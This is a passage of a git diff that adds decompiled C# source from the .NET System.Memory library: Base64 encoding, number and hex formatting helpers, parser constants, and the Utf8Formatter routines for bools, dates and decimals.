elementOffset3); + elementOffset4 = Unsafe.Add(ref decodingMap, elementOffset4); + elementOffset <<= 18; + elementOffset2 <<= 12; + elementOffset3 <<= 6; + elementOffset |= elementOffset4; + elementOffset2 |= elementOffset3; + return elementOffset | elementOffset2; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void WriteThreeLowOrderBytes(ref byte destination, int value) + { + destination = (byte)(value >> 16); + Unsafe.Add(ref destination, 1) = (byte)(value >> 8); + Unsafe.Add(ref destination, 2) = (byte)value; + } + + public static OperationStatus EncodeToUtf8(ReadOnlySpan bytes, Span utf8, out int bytesConsumed, out int bytesWritten, bool isFinalBlock = true) + { + ref byte reference = ref MemoryMarshal.GetReference(bytes); + ref byte reference2 = ref MemoryMarshal.GetReference(utf8); + int length = bytes.Length; + int length2 = utf8.Length; + int num = 0; + num = ((length > 1610612733 || length2 < GetMaxEncodedToUtf8Length(length)) ? ((length2 >> 2) * 3 - 2) : (length - 2)); + int i = 0; + int num2 = 0; + int num3 = 0; + ref byte encodingMap = ref s_encodingMap[0]; + for (; i < num; i += 3) + { + num3 = Encode(ref Unsafe.Add(ref reference, i), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference2, num2), num3); + num2 += 4; + } + if (num == length - 2) + { + if (isFinalBlock) + { + if (i == length - 1) + { + num3 = EncodeAndPadTwo(ref Unsafe.Add(ref reference, i), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference2, num2), num3); + num2 += 4; + i++; + } + else if (i == length - 2) + { + num3 = EncodeAndPadOne(ref Unsafe.Add(ref reference, i), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference2, num2), num3); + num2 += 4; + i += 2; + } + bytesConsumed = i; + bytesWritten = num2; + return OperationStatus.Done; + } + bytesConsumed = i; + bytesWritten = num2; + return OperationStatus.NeedMoreData; + } + bytesConsumed = i; + bytesWritten = num2; + return OperationStatus.DestinationTooSmall; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int GetMaxEncodedToUtf8Length(int length) + { + if ((uint)length > 1610612733u) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + return (length + 2) / 3 * 4; + } + + public static OperationStatus EncodeToUtf8InPlace(Span buffer, int dataLength, out int bytesWritten) + { + int maxEncodedToUtf8Length = GetMaxEncodedToUtf8Length(dataLength); + if (buffer.Length >= maxEncodedToUtf8Length) + { + int num = dataLength - dataLength / 3 * 3; + int num2 = maxEncodedToUtf8Length - 4; + int num3 = dataLength - num; + int num4 = 0; + ref byte encodingMap = ref s_encodingMap[0]; + ref byte reference = ref MemoryMarshal.GetReference(buffer); + switch (num) + { + case 1: + num4 = EncodeAndPadTwo(ref Unsafe.Add(ref reference, num3), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference, num2), num4); + num2 -= 4; + break; + default: + num4 = EncodeAndPadOne(ref Unsafe.Add(ref reference, num3), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference, num2), num4); + num2 -= 4; + break; + case 0: + break; + } + for (num3 -= 3; num3 >= 0; num3 -= 3) + { + num4 = Encode(ref Unsafe.Add(ref reference, num3), ref encodingMap); + Unsafe.WriteUnaligned(ref Unsafe.Add(ref reference, num2), num4); + num2 -= 4; + } + bytesWritten = maxEncodedToUtf8Length; + return OperationStatus.Done; + } + bytesWritten = 0; + return OperationStatus.DestinationTooSmall; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int Encode(ref byte threeBytes, ref byte encodingMap) + { + int num = (threeBytes << 16) | (Unsafe.Add(ref threeBytes, 1) << 8) | Unsafe.Add(ref threeBytes, 2); + int num2 = Unsafe.Add(ref encodingMap, num >> 18); + int num3 = Unsafe.Add(ref encodingMap, (num >> 12) & 0x3F); + int num4 = Unsafe.Add(ref encodingMap, (num >> 6) & 0x3F); + int num5 = Unsafe.Add(ref encodingMap, num & 0x3F); + return num2 | (num3 << 8) | (num4 << 16) | (num5 << 24); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int EncodeAndPadOne(ref byte twoBytes, ref byte encodingMap) + { + int num = (twoBytes << 16) | (Unsafe.Add(ref twoBytes, 1) << 8); + int num2 = Unsafe.Add(ref encodingMap, num >> 18); + int num3 = Unsafe.Add(ref encodingMap, (num >> 12) & 0x3F); + int num4 = Unsafe.Add(ref encodingMap, (num >> 6) & 0x3F); + return num2 | (num3 << 8) | (num4 << 16) | 0x3D000000; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int EncodeAndPadTwo(ref byte oneByte, ref byte encodingMap) + { + int num = oneByte << 8; + int num2 = Unsafe.Add(ref encodingMap, num >> 10); + int num3 = Unsafe.Add(ref encodingMap, (num >> 4) & 0x3F); + return num2 | (num3 << 8) | 0x3D0000 | 0x3D000000; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/FormattingHelpers.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/FormattingHelpers.cs new file mode 100644 index 0000000..c4738f4 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/FormattingHelpers.cs @@ -0,0 +1,224 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers.Text; + +internal static class FormattingHelpers +{ + public enum HexCasing : uint + { + Uppercase = 0u, + Lowercase = 8224u + } + + internal const string HexTableLower = "0123456789abcdef"; + + internal const string HexTableUpper = "0123456789ABCDEF"; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static char GetSymbolOrDefault(in StandardFormat format, char defaultSymbol) + { + char c = format.Symbol; + if (c == '\0' && format.Precision == 0) + { + c = defaultSymbol; + } + return c; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void FillWithAsciiZeros(Span buffer) + { + for (int i = 0; i < buffer.Length; i++) + { + buffer[i] = 48; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteHexByte(byte value, Span buffer, int startingIndex = 0, HexCasing casing = HexCasing.Uppercase) + { + uint num = (uint)(((value & 0xF0) << 4) + (value & 0xF) - 35209); + uint num2 = ((((0 - num) & 0x7070) >> 4) + num + 47545) | (uint)casing; + buffer[startingIndex + 1] = (byte)num2; + buffer[startingIndex] = (byte)(num2 >> 8); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteDigits(ulong value, Span buffer) + { + for (int num = buffer.Length - 1; num >= 1; num--) + { + ulong num2 = 48 + value; + value /= 10; + buffer[num] = (byte)(num2 - value * 10); + } + buffer[0] = (byte)(48 + value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteDigitsWithGroupSeparator(ulong value, Span buffer) + { + int num = 0; + for (int num2 = buffer.Length - 1; num2 >= 1; num2--) + { + ulong num3 = 48 + value; + value /= 10; + buffer[num2] = (byte)(num3 - value * 10); + if (num == 2) + { + buffer[--num2] = 44; + num = 0; + } + else + { + num++; + } + } + buffer[0] = (byte)(48 + value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteDigits(uint value, Span buffer) + { + for (int num = buffer.Length - 1; num >= 1; num--) + { + uint num2 = 48 + value; + value /= 10; + buffer[num] = (byte)(num2 - value * 10); + } + buffer[0] = (byte)(48 + value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteFourDecimalDigits(uint value, Span buffer, int startingIndex = 0) + { + uint num = 48 + value; + value /= 10; + buffer[startingIndex + 3] = (byte)(num - value * 10); + num = 48 + value; + value /= 10; + buffer[startingIndex + 2] = (byte)(num - value * 10); + num = 48 + value; + value /= 10; + buffer[startingIndex + 1] = (byte)(num - value * 10); + buffer[startingIndex] = (byte)(48 + value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteTwoDecimalDigits(uint value, Span buffer, int startingIndex = 0) + { + uint num = 48 + value; + value /= 10; + buffer[startingIndex + 1] = (byte)(num - value * 10); + buffer[startingIndex] = (byte)(48 + value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ulong DivMod(ulong numerator, ulong denominator, out ulong modulo) + { + ulong num = numerator / denominator; + modulo = numerator - num * denominator; + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static uint DivMod(uint numerator, uint denominator, out uint modulo) + { + uint num = numerator / denominator; + modulo = numerator - num * denominator; + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int CountDecimalTrailingZeros(uint value, out uint valueWithoutTrailingZeros) + { + int num = 0; + if (value != 0) + { + while (true) + { + uint modulo; + uint num2 = DivMod(value, 10u, out modulo); + if (modulo != 0) + { + break; + } + value = num2; + num++; + } + } + valueWithoutTrailingZeros = value; + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int CountDigits(ulong value) + { + int num = 1; + uint num2; + if (value >= 10000000) + { + if (value >= 100000000000000L) + { + num2 = (uint)(value / 100000000000000L); + num += 14; + } + else + { + num2 = (uint)(value / 10000000); + num += 7; + } + } + else + { + num2 = (uint)value; + } + if (num2 >= 10) + { + num = ((num2 < 100) ? (num + 1) : ((num2 < 1000) ? (num + 2) : ((num2 < 10000) ? (num + 3) : ((num2 < 100000) ? (num + 4) : ((num2 >= 1000000) ? (num + 6) : (num + 5)))))); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int CountDigits(uint value) + { + int num = 1; + if (value >= 100000) + { + value /= 100000; + num += 5; + } + if (value >= 10) + { + num = ((value < 100) ? (num + 1) : ((value < 1000) ? (num + 2) : ((value >= 10000) ? (num + 4) : (num + 3)))); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int CountHexDigits(ulong value) + { + int num = 1; + if (value > uint.MaxValue) + { + num += 8; + value >>= 32; + } + if (value > 65535) + { + num += 4; + value >>= 16; + } + if (value > 255) + { + num += 2; + value >>= 8; + } + if (value > 15) + { + num++; + } + return num; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/ParserHelpers.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/ParserHelpers.cs new file mode 100644 index 0000000..10b31a7 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/ParserHelpers.cs @@ -0,0 +1,74 @@ +using System.Runtime.CompilerServices; + +namespace System.Buffers.Text; + +internal static class ParserHelpers +{ + public const int ByteOverflowLength = 3; + + public const int ByteOverflowLengthHex = 2; + + public const int UInt16OverflowLength = 5; + + public const int UInt16OverflowLengthHex = 4; + + public const int UInt32OverflowLength = 10; + + public const int UInt32OverflowLengthHex = 8; + + public const int UInt64OverflowLength = 20; + + public const int UInt64OverflowLengthHex = 16; + + public const int SByteOverflowLength = 3; + + public const int SByteOverflowLengthHex = 2; + + public const int Int16OverflowLength = 5; + + public const int Int16OverflowLengthHex = 4; + + public const int Int32OverflowLength = 10; + + public const int Int32OverflowLengthHex = 8; + + public const int Int64OverflowLength = 19; + + public const int Int64OverflowLengthHex = 16; + + public static readonly byte[] s_hexLookup = new byte[256] + { + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 0, 1, + 2, 3, 4, 5, 6, 7, 8, 9, 255, 255, + 255, 255, 255, 255, 255, 10, 11, 12, 13, 14, + 15, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 10, 11, 12, + 13, 14, 15, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255 + }; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsDigit(int i) + { + return (uint)(i - 48) <= 9u; + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Constants.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Constants.cs new file mode 100644 index 0000000..5d1cb89 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Constants.cs @@ -0,0 +1,36 @@ +namespace System.Buffers.Text; + +internal static class Utf8Constants +{ + public const byte Colon = 58; + + public const byte Comma = 44; + + public const byte Minus = 45; + + public const byte Period = 46; + + public const byte Plus = 43; + + public const byte Slash = 47; + + public const byte Space = 32; + + public const byte Hyphen = 45; + + public const byte Separator = 44; + + public const int GroupSize = 3; + + public static readonly TimeSpan s_nullUtcOffset = TimeSpan.MinValue; + + public const int DateTimeMaxUtcOffsetHours = 14; + + public const int DateTimeNumFractionDigits = 7; + + public const int MaxDateTimeFraction = 9999999; + + public const ulong BillionMaxUIntValue = 4294967295000000000uL; + + public const uint Billion = 1000000000u; +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Formatter.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Formatter.cs new file mode 100644 index 0000000..71f3824 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/Utf8Formatter.cs @@ -0,0 +1,1382 @@ +using System.Buffers.Binary; +using System.Globalization; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Buffers.Text; + +public static class Utf8Formatter +{ + [StructLayout(LayoutKind.Explicit)] + private struct DecomposedGuid + { + [FieldOffset(0)] + public Guid Guid; + + [FieldOffset(0)] + public byte Byte00; + + [FieldOffset(1)] + public byte Byte01; + + [FieldOffset(2)] + public byte Byte02; + + [FieldOffset(3)] + public byte Byte03; + + [FieldOffset(4)] + public byte Byte04; + + [FieldOffset(5)] + public byte Byte05; + + [FieldOffset(6)] + public byte Byte06; + + [FieldOffset(7)] + public byte Byte07; + + [FieldOffset(8)] + public byte Byte08; + + [FieldOffset(9)] + public byte Byte09; + + [FieldOffset(10)] + public byte Byte10; + + [FieldOffset(11)] + public byte Byte11; + + [FieldOffset(12)] + public byte Byte12; + + [FieldOffset(13)] + public byte Byte13; + + [FieldOffset(14)] + public byte Byte14; + + [FieldOffset(15)] + public byte Byte15; + } + + private const byte TimeMarker = 84; + + private const byte UtcMarker = 90; + + private const byte GMT1 = 71; + + private const byte GMT2 = 77; + + private const byte GMT3 = 84; + + private const byte GMT1Lowercase = 103; + + private const byte GMT2Lowercase = 109; + + private const byte GMT3Lowercase = 116; + + private static readonly uint[] DayAbbreviations = new uint[7] { 7238995u, 7237453u, 6649172u, 6579543u, 7694420u, 6910534u, 7627091u }; + + private static readonly uint[] DayAbbreviationsLowercase = new uint[7] { 7239027u, 7237485u, 6649204u, 6579575u, 7694452u, 6910566u, 7627123u }; + + private static readonly uint[] MonthAbbreviations = new uint[12] + { + 7233866u, 6448454u, 7496013u, 7499841u, 7954765u, 7238986u, 7107914u, 6780225u, 7365971u, 7627599u, + 7761742u, 6513988u + }; + + private static readonly uint[] MonthAbbreviationsLowercase = new uint[12] + { + 7233898u, 6448486u, 7496045u, 7499873u, 7954797u, 7239018u, 7107946u, 6780257u, 7366003u, 7627631u, + 7761774u, 6514020u + }; + + private const byte OpenBrace = 123; + + private const byte CloseBrace = 125; + + private const byte OpenParen = 40; + + private const byte CloseParen = 41; + + private const byte Dash = 45; + + public static bool TryFormat(bool value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + char symbolOrDefault = System.Buffers.Text.FormattingHelpers.GetSymbolOrDefault(in format, 'G'); + if (value) + { + if (symbolOrDefault == 'G') + { + if (BinaryPrimitives.TryWriteUInt32BigEndian(destination, 1416787301u)) + { + goto IL_0033; + } + } + else + { + if (symbolOrDefault != 'l') + { + goto IL_0083; + } + if (BinaryPrimitives.TryWriteUInt32BigEndian(destination, 1953658213u)) + { + goto IL_0033; + } + } + } + else if (symbolOrDefault == 'G') + { + if (4u < (uint)destination.Length) + { + BinaryPrimitives.WriteUInt32BigEndian(destination, 1180789875u); + goto IL_006e; + } + } + else + { + if (symbolOrDefault != 'l') + { + goto IL_0083; + } + if (4u < (uint)destination.Length) + { + BinaryPrimitives.WriteUInt32BigEndian(destination, 1717660787u); + goto IL_006e; + } + } + bytesWritten = 0; + return false; + IL_006e: + destination[4] = 101; + bytesWritten = 5; + return true; + IL_0083: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + IL_0033: + bytesWritten = 4; + return true; + } + + public static bool TryFormat(DateTimeOffset value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + TimeSpan offset = Utf8Constants.s_nullUtcOffset; + char c = format.Symbol; + if (format.IsDefault) + { + c = 'G'; + offset = value.Offset; + } + return c switch + { + 'R' => TryFormatDateTimeR(value.UtcDateTime, destination, out bytesWritten), + 'l' => TryFormatDateTimeL(value.UtcDateTime, destination, out bytesWritten), + 'O' => TryFormatDateTimeO(value.DateTime, value.Offset, destination, out bytesWritten), + 'G' => TryFormatDateTimeG(value.DateTime, offset, destination, out bytesWritten), + _ => System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten), + }; + } + + public static bool TryFormat(DateTime value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return System.Buffers.Text.FormattingHelpers.GetSymbolOrDefault(in format, 'G') switch + { + 'R' => TryFormatDateTimeR(value, destination, out bytesWritten), + 'l' => TryFormatDateTimeL(value, destination, out bytesWritten), + 'O' => TryFormatDateTimeO(value, Utf8Constants.s_nullUtcOffset, destination, out bytesWritten), + 'G' => TryFormatDateTimeG(value, Utf8Constants.s_nullUtcOffset, destination, out bytesWritten), + _ => System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten), + }; + } + + private static bool TryFormatDateTimeG(DateTime value, TimeSpan offset, Span destination, out int bytesWritten) + { + int num = 19; + if (offset != Utf8Constants.s_nullUtcOffset) + { + num += 7; + } + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + bytesWritten = num; + byte b = destination[18]; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Month, destination); + destination[2] = 47; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Day, destination, 3); + destination[5] = 47; + System.Buffers.Text.FormattingHelpers.WriteFourDecimalDigits((uint)value.Year, destination, 6); + destination[10] = 32; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Hour, destination, 11); + destination[13] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Minute, destination, 14); + destination[16] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Second, destination, 17); + if (offset != Utf8Constants.s_nullUtcOffset) + { + byte b2; + if (offset < default(TimeSpan)) + { + b2 = 45; + offset = TimeSpan.FromTicks(-offset.Ticks); + } + else + { + b2 = 43; + } + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)offset.Minutes, destination, 24); + destination[23] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)offset.Hours, destination, 21); + destination[20] = b2; + destination[19] = 32; + } + return true; + } + + private static bool TryFormatDateTimeO(DateTime value, TimeSpan offset, Span destination, out int bytesWritten) + { + int num = 27; + DateTimeKind dateTimeKind = DateTimeKind.Local; + if (offset == Utf8Constants.s_nullUtcOffset) + { + dateTimeKind = value.Kind; + switch (dateTimeKind) + { + case DateTimeKind.Local: + offset = TimeZoneInfo.Local.GetUtcOffset(value); + num += 6; + break; + case DateTimeKind.Utc: + num++; + break; + } + } + else + { + num += 6; + } + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + bytesWritten = num; + byte b = destination[26]; + System.Buffers.Text.FormattingHelpers.WriteFourDecimalDigits((uint)value.Year, destination); + destination[4] = 45; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Month, destination, 5); + destination[7] = 45; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Day, destination, 8); + destination[10] = 84; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Hour, destination, 11); + destination[13] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Minute, destination, 14); + destination[16] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Second, destination, 17); + destination[19] = 46; + System.Buffers.Text.FormattingHelpers.WriteDigits((uint)((ulong)value.Ticks % 10000000uL), destination.Slice(20, 7)); + switch (dateTimeKind) + { + case DateTimeKind.Local: + { + byte b2; + if (offset < default(TimeSpan)) + { + b2 = 45; + offset = TimeSpan.FromTicks(-offset.Ticks); + } + else + { + b2 = 43; + } + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)offset.Minutes, destination, 31); + destination[30] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)offset.Hours, destination, 28); + destination[27] = b2; + break; + } + case DateTimeKind.Utc: + destination[27] = 90; + break; + } + return true; + } + + private static bool TryFormatDateTimeR(DateTime value, Span destination, out int bytesWritten) + { + if (28u >= (uint)destination.Length) + { + bytesWritten = 0; + return false; + } + uint num = DayAbbreviations[(int)value.DayOfWeek]; + destination[0] = (byte)num; + num >>= 8; + destination[1] = (byte)num; + num >>= 8; + destination[2] = (byte)num; + destination[3] = 44; + destination[4] = 32; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Day, destination, 5); + destination[7] = 32; + uint num2 = MonthAbbreviations[value.Month - 1]; + destination[8] = (byte)num2; + num2 >>= 8; + destination[9] = (byte)num2; + num2 >>= 8; + destination[10] = (byte)num2; + destination[11] = 32; + System.Buffers.Text.FormattingHelpers.WriteFourDecimalDigits((uint)value.Year, destination, 12); + destination[16] = 32; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Hour, destination, 17); + destination[19] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Minute, destination, 20); + destination[22] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Second, destination, 23); + destination[25] = 32; + destination[26] = 71; + destination[27] = 77; + destination[28] = 84; + bytesWritten = 29; + return true; + } + + private static bool TryFormatDateTimeL(DateTime value, Span destination, out int bytesWritten) + { + if (28u >= (uint)destination.Length) + { + bytesWritten = 0; + return false; + } + uint num = DayAbbreviationsLowercase[(int)value.DayOfWeek]; + destination[0] = (byte)num; + num >>= 8; + destination[1] = (byte)num; + num >>= 8; + destination[2] = (byte)num; + destination[3] = 44; + destination[4] = 32; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Day, destination, 5); + destination[7] = 32; + uint num2 = MonthAbbreviationsLowercase[value.Month - 1]; + destination[8] = (byte)num2; + num2 >>= 8; + destination[9] = (byte)num2; + num2 >>= 8; + destination[10] = (byte)num2; + destination[11] = 32; + System.Buffers.Text.FormattingHelpers.WriteFourDecimalDigits((uint)value.Year, destination, 12); + destination[16] = 32; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Hour, destination, 17); + destination[19] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Minute, destination, 20); + destination[22] = 58; + System.Buffers.Text.FormattingHelpers.WriteTwoDecimalDigits((uint)value.Second, destination, 23); + destination[25] = 32; + destination[26] = 103; + destination[27] = 109; + destination[28] = 116; + bytesWritten = 29; + return true; + } + + public static bool TryFormat(decimal value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + if (format.IsDefault) + { + format = 'G'; + } + switch (format.Symbol) + { + case 'G': + case 'g': + { + if (format.Precision != byte.MaxValue) + { + throw new NotSupportedException(System.SR.Argument_GWithPrecisionNotSupported); + } + NumberBuffer number3 = default(NumberBuffer); + System.Number.DecimalToNumber(value, ref number3); + if (number3.Digits[0] == 0) + { + number3.IsNegative = false; + } + return TryFormatDecimalG(ref number3, destination, out bytesWritten); + } + case 'F': + case 'f': + { + NumberBuffer number2 = default(NumberBuffer); + System.Number.DecimalToNumber(value, ref number2); + byte b2 = (byte)((format.Precision == byte.MaxValue) ? 2 : format.Precision); + System.Number.RoundNumber(ref number2, number2.Scale + b2); + return TryFormatDecimalF(ref number2, destination, out bytesWritten, b2); + } + case 'E': + case 'e': + { + NumberBuffer number = default(NumberBuffer); + System.Number.DecimalToNumber(value, ref number); + byte b = (byte)((format.Precision == byte.MaxValue) ? 6 : format.Precision); + System.Number.RoundNumber(ref number, b + 1); + return TryFormatDecimalE(ref number, destination, out bytesWritten, b, (byte)format.Symbol); + } + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + } + } + + private static bool TryFormatDecimalE(ref NumberBuffer number, Span destination, out int bytesWritten, byte precision, byte exponentSymbol) + { + int scale = number.Scale; + ReadOnlySpan readOnlySpan = number.Digits; + int num = (number.IsNegative ? 1 : 0) + 1 + ((precision != 0) ? (precision + 1) : 0) + 2 + 3; + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + int num2 = 0; + int num3 = 0; + if (number.IsNegative) + { + destination[num2++] = 45; + } + byte b = readOnlySpan[num3]; + int num4; + if (b == 0) + { + destination[num2++] = 48; + num4 = 0; + } + else + { + destination[num2++] = b; + num3++; + num4 = scale - 1; + } + if (precision > 0) + { + destination[num2++] = 46; + for (int i = 0; i < precision; i++) + { + byte b2 = readOnlySpan[num3]; + if (b2 == 0) + { + while (i++ < precision) + { + destination[num2++] = 48; + } + break; + } + destination[num2++] = b2; + num3++; + } + } + destination[num2++] = exponentSymbol; + if (num4 >= 0) + { + destination[num2++] = 43; + } + else + { + destination[num2++] = 45; + num4 = -num4; + } + destination[num2++] = 48; + destination[num2++] = (byte)(num4 / 10 + 48); + destination[num2++] = (byte)(num4 % 10 + 48); + bytesWritten = num; + return true; + } + + private static bool TryFormatDecimalF(ref NumberBuffer number, Span destination, out int bytesWritten, byte precision) + { + int scale = number.Scale; + ReadOnlySpan readOnlySpan = number.Digits; + int num = (number.IsNegative ? 1 : 0) + ((scale <= 0) ? 1 : scale) + ((precision != 0) ? (precision + 1) : 0); + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + int i = 0; + int num2 = 0; + if (number.IsNegative) + { + destination[num2++] = 45; + } + if (scale <= 0) + { + destination[num2++] = 48; + } + else + { + for (; i < scale; i++) + { + byte b = readOnlySpan[i]; + if (b == 0) + { + int num3 = scale - i; + for (int j = 0; j < num3; j++) + { + destination[num2++] = 48; + } + break; + } + destination[num2++] = b; + } + } + if (precision > 0) + { + destination[num2++] = 46; + int k = 0; + if (scale < 0) + { + int num4 = Math.Min(precision, -scale); + for (int l = 0; l < num4; l++) + { + destination[num2++] = 48; + } + k += num4; + } + for (; k < precision; k++) + { + byte b2 = readOnlySpan[i]; + if (b2 == 0) + { + while (k++ < precision) + { + destination[num2++] = 48; + } + break; + } + destination[num2++] = b2; + i++; + } + } + bytesWritten = num; + return true; + } + + private static bool TryFormatDecimalG(ref NumberBuffer number, Span destination, out int bytesWritten) + { + int scale = number.Scale; + ReadOnlySpan readOnlySpan = number.Digits; + int numDigits = number.NumDigits; + bool flag = scale < numDigits; + int num; + if (flag) + { + num = numDigits + 1; + if (scale <= 0) + { + num += 1 + -scale; + } + } + else + { + num = ((scale <= 0) ? 1 : scale); + } + if (number.IsNegative) + { + num++; + } + if (destination.Length < num) + { + bytesWritten = 0; + return false; + } + int i = 0; + int num2 = 0; + if (number.IsNegative) + { + destination[num2++] = 45; + } + if (scale <= 0) + { + destination[num2++] = 48; + } + else + { + for (; i < scale; i++) + { + byte b = readOnlySpan[i]; + if (b == 0) + { + int num3 = scale - i; + for (int j = 0; j < num3; j++) + { + destination[num2++] = 48; + } + break; + } + destination[num2++] = b; + } + } + if (flag) + { + destination[num2++] = 46; + if (scale < 0) + { + int num4 = -scale; + for (int k = 0; k < num4; k++) + { + destination[num2++] = 48; + } + } + byte b2; + while ((b2 = readOnlySpan[i++]) != 0) + { + destination[num2++] = b2; + } + } + bytesWritten = num; + return true; + } + + public static bool TryFormat(double value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatFloatingPoint(value, destination, out bytesWritten, format); + } + + public static bool TryFormat(float value, Span destination, out int bytesWritten, StandardFormat format = default(StandardFormat)) + { + return TryFormatFloatingPoint(value, destination, out bytesWritten, format); + } + + private static bool TryFormatFloatingPoint(T value, Span destination, out int bytesWritten, StandardFormat format) where T : IFormattable + { + if (format.IsDefault) + { + format = 'G'; + } + switch (format.Symbol) + { + case 'G': + case 'g': + if (format.Precision != byte.MaxValue) + { + throw new NotSupportedException(System.SR.Argument_GWithPrecisionNotSupported); + } + break; + default: + return System.ThrowHelper.TryFormatThrowFormatException(out bytesWritten); + case 'E': + case 'F': + case 'e': + case 'f': + break; + } + string text = format.ToString(); + string text2 = value.ToString(text, 